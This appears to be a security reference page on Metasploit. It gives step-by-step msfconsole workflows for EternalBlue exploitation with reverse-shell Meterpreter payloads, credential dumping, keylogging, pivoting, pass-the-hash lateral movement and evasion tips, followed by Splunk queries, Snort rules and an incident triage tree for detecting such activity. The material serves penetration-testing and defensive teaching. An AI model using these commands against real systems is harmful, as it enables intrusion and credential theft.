Metasploit

What Metasploit Is and How It Works

Metasploit is an open-source exploitation framework developed and maintained by Rapid7. It provides a modular platform for developing, testing, and executing exploit code against target systems, and is the tool most commonly used alongside Nmap for port scanning and service discovery before exploitation. The framework bundles hundreds of exploits, thousands of payloads, and dozens of auxiliary and post-exploitation modules into a single command-line console (msfconsole).

MITRE ATT&CK maps exploitation for client execution to T1203 (Exploitation for Client Execution) — Metasploit is the primary tool used for this technique in both authorized penetration tests and real-world attacks. However, Metasploit covers the entire kill chain: T1595 (Active Scanning) for reconnaissance, T1190 (Exploit Public-Facing Application) for exploitation, T1059 (Command and Scripting Interpreter) for post-exploitation, T1003 (OS Credential Dumping) via Mimikatz integration, and T1041 (Exfiltration Over C2 Channel) for data theft.

The framework is written in Ruby with a component architecture that makes it extensible: every exploit, payload, and scanner is a standalone module that can be loaded, configured, and executed independently.

Module Architecture

Every piece of Metasploit is a module. Understanding the module types is the foundation of using the framework effectively.

Module Path Convention

Modules are addressed by their full path in category/os/name format:

use exploit/windows/smb/ms17_010_eternalblue
use auxiliary/scanner/portscan/tcp
use post/windows/gather/hashdump

The search command accepts keywords, CVE numbers, or module names and supports wildcards:

msf6 > search ms17_010
msf6 > search eternalblue
msf6 > search type:exploit platform:windows cve:2021
msf6 > search type:auxiliary smb_login

Essential msfconsole Commands

These are the commands you use in every Metasploit session:

Common Exploitation Workflows

Workflow 1: External Reconnaissance to Initial Access

This is the standard external penetration test flow.

1. Port scan the external IP range
   msf6 > db_nmap -sS -sV -O 203.0.113.0/24

2. Check for SMB vulnerabilities (EternalBlue / BlueKeep)
   msf6 > use auxiliary/scanner/smb/smb_ms17_010
   msf6 > set RHOSTS 203.0.113.0/24
   msf6 > run

3. Load the exploit for a confirmed vulnerable host
   msf6 > use exploit/windows/smb/ms17_010_eternalblue
   msf6 > set RHOSTS 203.0.113.50
   msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
   msf6 > set LHOST 10.0.0.10
   msf6 > set LPORT 4444
   msf6 > exploit

4. If success → interactive session established
   meterpreter > sysinfo
   meterpreter > getuid

Key considerations:

• Use check before exploit to verify a target is vulnerable — avoids crashing a production system with the wrong exploit
• Set LHOST to your actual listener IP, not a loopback address
• Use LPORT that is not blocked by firewalls (443 or 80 are common bypass ports)
• exploit -j runs the listener as a background job, allowing you to continue working on other targets
• Staged payloads (e.g., meterpreter/reverse_tcp) are smaller and faster, but stageless payloads (e.g., meterpreter_reverse_tcp) handle single-packet delivery

Workflow 2: Post-Exploitation — Reconnaissance and Privilege Escalation

After gaining a Meterpreter session:

1. System reconnaissance
   meterpreter > sysinfo         # OS version, architecture, domain
   meterpreter > getuid           # Current user context
   meterpreter > ipconfig         # Network interfaces and IPs
   meterpreter > arp              # ARP table — peers on the local subnet
   meterpreter > netstat          # Active connections on the host
   meterpreter > ps               # Running processes

2. Check privileges
   meterpreter > getprivs         # List available privileges
   meterpreter > getsystem        # Attempt automatic privilege escalation

3. If getsystem fails, use a local escalation module
   msf6 > use post/windows/escalate/
   # Explore available escalation modules:
   msf6 > search type:post platform:windows escalate

4. Dump credentials
   meterpreter > hashdump         # Dump SAM hashes (requires SYSTEM)
   meterpreter > lsa_dump_secrets # Dump LSA secrets (requires SYSTEM)
   meterpreter > kerberos_ticket_list  # List Kerberos tickets

5. Enable Remote Desktop (if needed)
   meterpreter > run post/windows/manage/enable_rdp

6. Pivot to the internal network
   meterpreter > run autoroute -s 10.0.1.0/24  # Add route through session
   msf6 > route add 10.0.1.0/24 1              # Route traffic through session 1
   # Now exploit internal hosts through the compromised host

Workflow 3: Lateral Movement

Once you have credentials or hashes, move laterally within the network:

1. Use captured hashes for pass-the-hash
   msf6 > use exploit/windows/smb/psexec
   msf6 > set RHOSTS 10.0.1.50
   msf6 > set SMBUser Administrator
   msf6 > set SMBPass <NTLM_HASH>
   msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
   msf6 > set LHOST 10.0.0.10
   msf6 > set LPORT 4455
   msf6 > exploit

2. Use PsExec with explicit credentials
   msf6 > use auxiliary/admin/smb/psexec_command
   msf6 > set RHOSTS 10.0.1.50
   msf6 > set SMBUser DOMAIN\Admin
   msf6 > set SMBPass Password123
   msf6 > set COMMAND whoami
   msf6 > run

3. Use WMI for execution (less logged than PsExec)
   msf6 > use exploit/windows/local/wmi
   # WMI lateral movement is quieter than SMB-based methods

Key Payload Types — Meterpreter and Beyond

Staged vs. Stageless Payloads

Understanding this distinction is critical for evasion.

Naming convention:

• windows/x64/meterpreter/reverse_tcp → Staged (note the / between stage types)
• windows/x64/meterpreter_reverse_tcp → Stageless (note the _ instead of /)

Common Payload Options

Meterpreter Features

Meterpreter provides key features beyond a basic shell:

• In-memory execution: Meterpreter payloads load entirely in memory. They never write to disk, which evades file-scanner AV.
• Encrypted communication: Meterpreter sessions communicate over RC4-encrypted TCP or AES-encrypted HTTPS tunnels.
• Loading post-exploitation modules: No need to upload separate tools — load mimikatz, kiwi, hashdump, screenshare, etc. on demand over the encrypted channel.
• Anti-forensics: Migration to a trusted process (like explorer.exe or svchost.exe) removes the original injector process.

meterpreter > migrate -N explorer.exe   # Migrate to explorer.exe
meterpreter > load mimikatz             # Load Mimikatz over the channel
meterpreter > kerberos_ticket_list      # List Kerberos tickets
meterpreter > screenshot                # Take a screenshot of the desktop
meterpreter > keyscan_start             # Start keylogging
meterpreter > keyscan_dump              # Dump captured keystrokes

Metasploit Detection — Network and Endpoint

Network-Level Detection

Endpoint-Level Detection

Splunk SPL — Metasploit Detection (run in Splunk)

# Meterpreter process injection via Winlogon/explorer
index=windows EventCode=4688
ParentProcessName IN ("*\\winlogon.exe", "*\\explorer.exe", "*\\svchost.exe")
NewProcessName IN ("*\\cmd.exe", "*\\powershell.exe", "*\\rundll32.exe", "*\\regsvr32.exe")
| stats count by ComputerName, User, ParentProcessName, NewProcessName, CommandLine
| sort - count

# PsExec service creation (Metasploit psexec module)
index=windows EventCode=7045
ServiceName IN ("PSEXESVC", "*Service*") OR ServiceName LIKE "%"
ImagePath IN ("*\\psexesvc.exe", "*\\msf*")
| table _time, ComputerName, ServiceName, ImagePath, AccountName
| sort - _time

# SMB exploitation — network connections to suspicious ports
index=network sourcetype=flow
dest_port IN (445, 139, 3389)
| stats sum(bytes) as total_bytes, count by src_ip, dest_ip, dest_port
| where count > 100
| sort - count

# Outbound connections on non-standard high ports
index=network sourcetype=netflow
dest_port > 1024
| where dest_port != 443 AND dest_port != 80 AND dest_port != 8080
| stats count by src_ip, dest_ip, dest_port
| where count > 50
| sort - count

Snort/Suricata Rules — Metasploit Detection

# Detect EternalBlue exploit traffic
alert tcp $HOME_NET any -> $EXTERNAL_NET 445 (
    msg:"ET EXPLOIT MS17-010 SMB Remote Code Execution Attempt";
    flow:to_server,established;
    content:"|ff|SMB|73 00|"; depth:5; offset:4;
    content:"|08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|";
    reference:cve,2017-0144;
    classtype:attempted-admin;
    sid:1000001; rev:1;)

# Detect Meterpreter staging on default port
alert tcp $EXTERNAL_NET any -> $HOME_NET 4444 (
    msg:"ET MALWARE Meterpreter Reverse TCP Connection";
    flow:to_server,established;
    content:"|69 00 6e 00 69 00 74 00|"; depth:64;
    reference:url,github.com/rapid7/metasploit-framework;
    classtype:command-and-control;
    sid:1000002; rev:1;)

Triage Decision Flow — Metasploit Detection

When a detection fires, follow this decision tree to determine if it is active Metasploit activity:

Metasploit detection fired
    │
    ├─ Is there a confirmed exploit? (EternalBlue, BlueKeep, web app RCE)
    │   ├─ Yes → Proceed to containment immediately
    │   └─ No → Is there a Meterpreter session?
    │
    ├─ Meterpreter session evidence:
    │   ├─ Process injection into svchost.exe or explorer.exe
    │   ├─ Encrypted TCP/HTTPS connection from the injected process
    │   └─ Concurrent connections to unknown external IPs
    │
    ├─ Containment actions:
    │   ├─ Isolate the compromised host (network quarantine VLAN)
    │   ├─ Kill the Meterpreter process (use [Sysinternals](/tools/sysinternals) Process Explorer)
    │   ├─ Block the C2 IP/domain at the firewall
    │   └─ Collect a memory dump for forensics
    │
    └─ After containment:
        ├─ Determine initial access vector (phishing? unpatched service?)
        ├─ Check lateral movement — has psexec or WMI been used from this host?
        ├─ Dump credentials — were hashes stolen? Are other hosts at risk?
        └─ Full incident response: reimage, rotate all domain passwords, audit persistence

Related

• Mimikatz — detection and response for T1003 techniques
• Nmap — how nmap helps detect and analyze threats
• Common Ports and Protocols — covers the common ports and protocols concepts
• EDR Basics — detection and response for T1059, T1003, T1055, T1204, T1562 techniques
• Indicators: IoC, IoA, and TTP — covers the indicators: ioc, ioa, and ttp concepts

Sources

• Metasploit Documentation
• Rapid7 Metasploit Unleashed
• MITRE ATT&CK T1203
• MITRE ATT&CK T1046
• MITRE ATT&CK T1003
• MITRE ATT&CK T1190
• Sysmon Documentation — Microsoft
• EternalBlue Detection — Snort